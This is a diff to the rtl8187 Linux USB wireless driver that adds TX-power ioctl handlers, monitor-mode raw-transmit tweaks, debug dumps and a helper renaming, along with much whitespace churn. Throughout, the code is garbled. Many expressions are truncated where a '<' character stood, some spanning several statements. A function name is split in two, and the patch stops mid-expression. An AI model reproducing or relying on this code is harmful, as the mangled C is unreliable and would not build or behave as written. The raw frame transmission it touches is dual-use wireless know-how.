@@ exit: up(&priv->wx_sem); - + return err; } @@ -623,32 +673,28 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +706,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +724,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-05-27 11:31:45.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,115 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +943,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +968,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +994,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1010,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1126,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1140,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1161,24 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); priv->stats.txdatapkt++; - + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + ieee80211_stop_queue_rtl7(priv->ieee80211); + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1188,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1203,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1218,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1227,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,30 +1235,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1228,7 +1268,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1289,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1347,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1358,16 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1379,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,8 +1392,8 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1365,32 +1405,32 @@ priv->stats.txlpdrop++; return -1; } - - + + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1439,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate 